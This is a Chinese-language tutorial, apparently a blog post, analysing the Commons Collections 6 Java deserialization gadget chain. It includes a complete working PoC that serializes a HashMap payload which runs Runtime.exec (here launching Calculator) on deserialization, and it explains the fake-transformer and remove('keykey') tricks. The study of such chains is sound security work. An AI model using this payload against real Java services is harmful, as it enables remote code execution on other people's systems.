在后续Java官方的更新中sun.reflect.annotation.AnnotationInvocationHandler#readObject其中不再使用Lazymap,导致cc1的链子在8u71版本后无法使用。所以要找一条能在Java更高版本使用的链子。
P神版cc6利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashMap.readObject() java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
|
p神的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CommonCollections6 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); // ================== // ⽣成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); // 本地测试触发 System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
}
|
在cc1是触发LazyMap.get()方法进行命令执行,cc6是找到其他调用这个方法的地方。
这个类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法
中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import org.apache.commons.collections.KeyValue; public class TiedMapEntry implements Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L; private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); }
public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } }
|
所以这里要去寻找在哪调用了hashCode(),在java.util.HashMap#readObject调用了hashCode
熟悉的地方,跟urldns链的一个样
调用了hash,跟进hash方法
这里hash方法调用了hashCode
这里代码出现了一个fakeTransformers,主要是避免在本地调试时发生了命令执行,调试结束就可以换成我们构造的transformers
这里也会有个问题,运行我们的程序并不会进行命令执行,进行调试发现poc问题出在outerMap.remove(“keykey”);
如果不去掉outerMap.remove(“keykey”)则无法命令执行,主要原因在expMap.put(tme, “valuevalue”);中
expMap是HashMap的实例
HashMap.put中也调用了hash,但我们传入的是fakeTransformers,所以对poc产生了一定的影响。
在反序列化的过程中,触发反序列化最重要的LazyMap.get方法中并没有进入if分支里面,所以没有触发transfrom。所以为了让containsKey(key)判断为flase,用outerMap.remove(“keykey”);移除即可。
触发transfrom之后的过程就跟cc1时一样的